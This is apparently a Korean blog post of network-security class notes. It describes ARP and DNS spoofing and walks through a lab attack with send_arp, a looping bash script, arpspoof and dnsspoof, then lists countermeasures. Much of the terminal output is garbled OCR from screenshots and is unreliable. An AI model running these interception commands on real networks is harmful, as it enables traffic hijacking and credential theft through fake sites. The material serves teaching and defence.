2020. 7. 9.

[Network] S04 스푸핑


*스푸핑

스푸핑 공격이란
스푸핑(Spoofing)이란속이다라는 의미
IP 주소, 호스트 이름, MAC 주소 등 여러 가지를 속일 수 있으며, 스푸핑은 이런 속임을 이용한 공격을 총칭한다.
인터넷이나 로컬에서 존재하는 모든 연결에 스푸핑이 가능하며, 정보를 얻어내는 것 외에도 네트워크를 오작동 시키는 용도로 이용한다.
IP 충돌 문제도 고의가 아닌 IP 스푸핑이라고 생각할 있다.

*ARP 스푸핑
ARP 스푸핑은 로컬에서 통신하고 있는 서버와 클라이언트의 IP 주소에 대한 2계층 MAC 주소를 공격자의 MAC 주소로 속여 클라이언트가 서버로 가는 패킷이나 서버에서 클라이언트로 가는 패킷을 중간에서 가로채는 공격이다.
공격자는 이 패킷을 읽고 확인한 후 정상적인 목적지로 향하도록 다시 돌려보내 연결이 끊어지지 않고 연결되도록 유지한다.
스니핑을 위해 수행하는 경우가 대부분이다.

一 0 n 
4cn

*ARP 스푸핑 공격
IP MAC주소 확인
ping –b : broadcast 주소를 이용
fping : 특별한 범위의 IP확인
• ICMP에 응답하지 않는 경우라도 MAC 주소 확인이 가능하다.(모두??)
nmap : 특정시스템을 스캔 (ping이나 fping에 응답하지 않는경우)
스캔을 통해 확인된 MAC 주소는 arp –a 명령으로 확인 가능하다.

fake 설치
root@attack:- 
[root@attack yum install —Y fake 
Loaded p lug ins: fastestm irror 
Loading mirror speeds from cached hostfi le 
epel: mirrors .kernel .org 
* rpmforge: ftp.riken.jp 
Setting up Install Process 
Resolving Dependenc ies 
Runn ing transact ion check 
Package fake. i386 0: 1.1 .8-1 .2.e15. 
Finished Dependency Resolution 
Dependencies Resolved 
rf set to be updated 
Package 
Instal I ing: 
fake 
Transact i on 
Install 
Lbgrade 
Arch 
i 386 
Surmary 
1 Package(s) 
O Package(s) 
Vers ion 
1.1 .8 
1.2.e15.rf 
Repos i tory 
rpmforge 
Si ze 
45 k

CentOS 5,6 설치 가능(32bit만 제공됨)
- rpmforge에서 제공되지만 향후 제공여부 불투명함.

send_arp를 이용 t1 t2에게 잘못된 arp 정보를 보내보자
# send_arp [T1 IP] [공격자 MAC] [T2 IP] [T2 MAC]
• T2에게 T1 MAC 주소가 공격시스템의 MAC이라고 알린다.
root@attacker:- 
[root@attacker 
[root@attacker 
[root@attacker 
send_arp 
send—arp 
192.168.11.17 192.168.11.7 
192.168.11.7 192.168.11.17 
00 oc 29
ARP는 일정 시간마다 갱신됨으로 명령은 자동으로 계속 수행되야 한다.
r00t@attacker:- 
[root@attacker cat sarp 
# ! /bi n/bash 
while [ 
do 
send_arp 192.168.11.17 192.168.11.7 
send_arp 192.168.11.7 192.168.11.17 
done 
[root@attacker

vi sarp
#!/bin/bash
while [ : ]
do
send_arp 142

시스템의 arp 테이블을 검색한다.

:WDocuments and Sett -a 
Interface: 192.168.11.7 ox10003 
1 92 
nternet Address 
192 168.11 .17 
Phys iCal Add ess 
OO-OC-29 B4-bd-f7 
168.11 .17 
Type 
: WDocuments and Sett rochya>arp -a 
Inter ace: 192 ox 0003 
Internet Address 
192 168.11 .17 
Phys iCal Acid ess 
OO-Oc-29-81-f7-Of 
dynami c 
192. 168.11 .17 
Type 
dynami c 
: WDocuments and Sett rochya>

root@server:- 
[root@server arp 
(192. 168.11.7) at 
[root@server arp 
XP (192. 168.11 .7) at 
[rooteserver 
192 .168.11.7 
-a 
OO: OC: 29: dE-: 61 : BF 
-a 192.168.11.7 
[ether] 
[ether] 
on eth() 
on etho

둘에게 전달된 ARP 패킷을 캡쳐해서 분석하세요..
XP에서 server telnet 접속한 다음 접속 패킷을 분석하세요

*DNS 스푸핑

DNS 스푸핑
DNS(Domain Name System) 스푸핑은 웹 스푸핑과 비슷한 의미로 이해되기도 한다.
인터넷을 이용하는 도중 주소 창에 가고자하는 사이트 이름을 적어놓고는 엔터 키를 눌렀더니 엉뚱한 사이트로 연결되는 경우를 경험해본 적이 있을 것이다.
예를 들면www.cwd.go.kr’ 주소를 주소 창에 넣었더니만 무슨 쇼핑몰이나 포르노 사이트가 뜨는 경우다. 이런 경우가 DNS 서버의 오류로 인해 생길 수도 있지만, DNS 스푸핑과 같은 공격으로도 이루어진다.

*DNS query와 접속

1. Client는 접속하고자 하는 서버의 IP정보를 DNS 서버에게 질의한다.
2. DNS 서버는 Client에게 요청된 도메인명에 대한 IP주소를 알려준다.
3. Client DNS서버의 응답을 근거로 해당 IP시스템에 접속한다.
  • DNS정보는 전달 순서에 따라 쓰이며 나중에 전달된 정보는 무시한다.


*DNS 스푸핑


공격자는 로컬에 존재해야 하며 이로인해 원격지의 DNS 서버보다 지리적으로 가까이 위치한다. 따라서 DNS 서버가 올바른 DNS response 패킷을 보내주기 전에 클라이언트에게 위조된 DNS response 패킷을 보낼 수 있다.

클라이언트는 공격자가 보낸 DNS response 패킷을 올바른 패킷으로 인식하고, 웹에 접속한다. 지리적으로 멀리 떨어져 있는 DNS 서버가 보낸 DNS response 패킷은 나중에 도착하고 버려진다.

클라이언트가 DNS 서버로 DNS query 패킷을 보내는 것을 확인할수 있어야 하고. 스위칭 환경일 경우에는 클라이언트가 DNS query 패킷을 보내면 이를 받아야 하므로 arp 스푸핑과 같은 선행 작업이 필요하다.


*DNS 스푸핑 실습

step 1. 위조 웹서버를 192.168.10.17에 설치한다.
step 2. WinXP 클라이언트에서 www.itclass.co.kr 접속되는지 확인한다.
step 3. /etc/dsniff/dnsspoof.hosts 파일을 공격에 맞게 수정한다.
step 4. arpspoof를 이용 클라이언트의 게이트웨이 H/W 주소를 공격 시스템의 H/W 주소로 변경한다.
step 5. dnsspoof를 이용 dnsspoofing을 시작한다.
step 6. WinXP 클라이언트에서 웹접속을 시도한다.

/etc/dsniff/dnsspoof.hosts
  • DNS spoofing 설정을 저장한다.
  • [IP] [도메인명]
  • 도메인 명에는 *(와일드 카드)로 기술할 수 있다.
ex)
127.0.0.1 ad.*
127.0.0.1 ads*.*
127.0.0.1 *.microsoft.com

step 1. 위조 웹서버 구축
위조 웹서버는 보통 원래 서버를 다운 받아 동일하게 만든다.
위조 서버에 입력된 ID passwd는 즉시 원래 서버로 전달 됨으로 사용자는 위조 서버 접속을 알 수 없다.
실습에서는 간단한 페이지로 대신한다.
32.6&11.17 
192.168.11.17 
Attacker

step 2. WinXP 클라이언트에서 www.itclass.co.kr 접속되는지 확인한다.

1 ТС[А55 
lTCLA55 
Bus&ss Соттип—у' 
BEST СНОСЕ BAST OATABASE 
„чак 
02 
А' п•ио_

step 3. /etc/dsniff/dnsspoof.hosts 파일을 공격에 맞게 수정한다.

r00t@attacker_— 
[root@attacker cat /etc/dsniff/dnsspoof . hosts 
Sid: dnsspoof .hosts.v 1.2 2000/08/28 dugsong Exp $ 
# Sample hosts f i le for dnsspoof — 
kill web banner ads for Niels. 
127.0.o 
127.0.0 
127 .o.o. 
127.0.0 
127.0.0 
127.0.0 
127 .o.o. 
127 .o.o 
127.0.0 
192.168. 11 .17 
127 
127 
127 .o.o.l 
127.0.0 1 
127.0.0 1 
127 .o.o.l 
127 .o.o.l 
127.0.0.1 
127 .o.o.l 
.o.o:l 
.o.o:l 
www. itclass .co.kr 
ad. • 
ads* 
adcount• . 
adf in i tyA . * 
adforce• 
adi mage* 
adl ink* 
adserv. . A 
adremote* . 
adv 
advert* 
banner* . * 
count* . • 
promo* 
werbung• . * 
•ads* . . com 
. . com

step 4. arpspoof를 이용 클라이언트의 게이트웨이 H/W 주소를 공격 시스템의 H/W 주소로 변경한다.
# arpspoof -t 192.168.11.7 192.168.11.1

0 
0 
rOOt@attacker_— 
[root@attacker 
f7:f 
192. 168 
192. 168 
f7:f 
192 . 168 
192 . 168 
arpspoof 
-t 
•8e:6E8f 0806 
192. 168.11.7 
192.168.11.1 
arp 
arp 
arp 
arp 
arp 
arp 
.11 
.11 1 
.11 
.11 1 
is—at 
is—at 
is—at 
is—at 
is—at 
is—at 
: f7:f 
.f7:f 
.f7:f 
0 
O. 
0 
O. 
: 29 • 
29: 8e:61 0806 
29: 8e:61 0806 
0806 
0806 
c 
42: 
42: 
42: 
42: 
42: 
42 : 
reply 
reply 
reply 
reply 
reply 
reply 
192. 168.11 1 
192. 168.11 1 
O. 
•c: 29 : 81 
0 
: c: 29 : 81 
O. 
•c: 29:81.

step 5. dnsspoof를 이용 dnsspoofing을 시작한다.
# dnsspoof -i eth0 -f /etc/dsniff/dnsspoof.hosts

rut@attacker_— 
login as: root 
root@192 .168.11 .47 's password: 
Last login: Mon Aug 6 12:48:45 2018 from 192.168.11 .3 
[rooteattacker dnsspoof 
—i etho —f /etc/dsn i ff/åsspoof . hosts 
I isten ing on eth() [1.0 dst port 53 and not 192 .168.11 .47] 
hspoof :

step 6. WinXP 클라이언트에서 웹접속을 시도한다.

4- 
www.itclass. co. kr 
C [J www.itclass.co.kr 
Attacker

DNS 정보는 캐시됨으로 만일 캐시된 DNS 정보를 지우고 싶다면 ipconfig 명령을 이용한다.
C:\> ipconfig /flushdns
icrosoft Windows XP Version 5.1 2600 
(C) Copyright 1985-2001 Microsoft corp. 
:WDocuments and Settings* irochya>ipconfig /f lushdns 
incbws P Calf iguration 
ccessful ly flushed the Reso ve 
: WDocuments and Sett rochya> 
Cache

*DNS 스푸핑에 대한 보안 대책

원격지의DNS서버를 이용하지 말고 반드시 로컬 DNS 서버를 이용하며 DNS 서버의 루트네임 서버 mac 주소를 고정 방식으로 할당한다.
운영중인 DNS서버의 버전을 최신으로 유지한다.
2 DNS서버보다는 정적으로 등록된 캐시 DNS 서버를 운영한다.
가능한 클라이언트의 IP 동적으로 할당한다.

댓글 없음:

댓글 쓰기